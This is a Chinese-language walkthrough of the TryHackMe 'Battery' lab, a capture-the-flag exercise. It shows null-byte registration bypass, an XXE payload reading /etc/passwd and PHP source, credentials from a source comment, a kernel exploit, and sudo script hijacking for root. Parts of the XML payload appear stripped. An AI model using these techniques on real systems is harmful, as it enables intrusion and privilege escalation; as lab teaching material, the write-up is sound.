URL : https://tryhackme.com/room/battery

IP : 10.10.207.162

Recon

  • 掃 Portrustscan -a 10.10.207.162 -r 1-65535
  • 發現有開22
  • 80nmap -A -p22,80 10.10.207.162-

Web

  • 觀察首頁掃路徑-
  • /forms/admin.php- 發現 /forms 把 Header 拔掉就不會自動跳轉-
  • 裡面傳送的資料是 XML ,可能可以 XXE但沒有登入都失敗
function XMLFunction(){
	var xml = '' +
		'' +
		'' +
		'' + $('#name').val() + '' +
		'' + $('#search').val() + '' +
		'';
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.onreadystatechange = function () {
		if(xmlhttp.readyState == 4){
			console.log(xmlhttp.readyState);
			console.log(xmlhttp.responseText);
			document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
		}
	}
	xmlhttp.open("POST","forms.php",true);
	xmlhttp.send(xml);
};
  • register.php 註冊一組帳密meow
  • ABC
  • meow
  • 註冊成功嘗試登入-
  • 使用介面上的功能
  • 發現不能使用再註冊一組- meow1
  • DEF
  • meow1掃目錄-
  • 發現一個 /report載下來發現是一個 ELF-

Reverse

  • 選單使用者- 字串比較- 更新-
  • 這邊看到 admin@bank.a 滿可疑的

Web

  • 嘗試註冊 admin@bank.a
  • 被嘲諷ㄌQQ
  • 但這代表應該確實跟這個有關!!用 Burp 後面加上 %00 截斷- 註冊成功- 後台亂輸入都會噴錯- 重新試著 XXE-
function XMLFunction(){
    var xml = '' +
        '\n' +
        ' ]>\n' +
        '' +
        '' + "0" + '' +
        '' + "&b;" + '' +
        '';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
        }
    }
    xmlhttp.open("POST","forms.php",true);
    xmlhttp.send(xml);
};
XMLFunction();
  • 可以讀檔
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1002:1002:,,,:/home/yash:/bin/bash
  • 看起來有興趣的使用者cyber
  • yash讀取原始碼- php://filter/convert.base64-encode/resource=/var/www/html/acc.php
  • 找到註解上的密碼//MY CREDS :- cyber:super#secure&password!

SSH

  • 順利連上取得 Base Flag-

提權

  • 起手式 sudo -l
  • 發現可以用 root 執行一個 run.py``run.py-
  • 但我們沒有權限讀取他 QQ觀察原始碼- admin.php找到 mysql 的帳密Dump Mysql- mysqldump -u root -h 127.0.0.1 -p details > a.sql
  • 看到一組密碼
  • I_know_my_password但好像就沒有什麼進展了 QQ跑 Linpeas-
  • 發現 Linux Kernel 好像有點舊,可以用 Exploit
  • https://www.exploit-db.com/exploits/37292試著載下來編譯執行-
  • 就成功 Root ㄌFlag2- Root Flag-

另外一種提權法

  • 剛剛可以用 sudo 執行 run.py但是沒有權限可以讀取但因為這是我的家目錄,所以我可以改檔名、新增檔案- 所以自己創一個 run.py- import os
  • os.system("/bin/bash")再 sudo 它-
  • 也可以順利提權

學到ㄌ

%00 截斷
XXE 記得加 ;